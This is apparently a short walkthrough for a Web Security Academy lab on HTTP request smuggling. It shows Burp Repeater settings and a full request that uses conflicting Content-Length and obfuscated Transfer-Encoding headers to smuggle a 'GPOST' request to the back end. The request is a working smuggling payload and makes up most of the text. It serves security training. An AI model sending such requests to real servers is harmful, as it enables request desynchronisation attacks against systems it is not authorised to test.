In Burp Suite, go to the Repeater menu and ensure that the "Update Content-Length" option is unchecked.
Using Burp Repeater, issue the following request twice:
POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding: chunked Transfer-encoding: cow 5c GPOST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1 0
You need to include the trailing sequence
\r\n\r\n following the final
The second response should say:
Unrecognized method GPOST.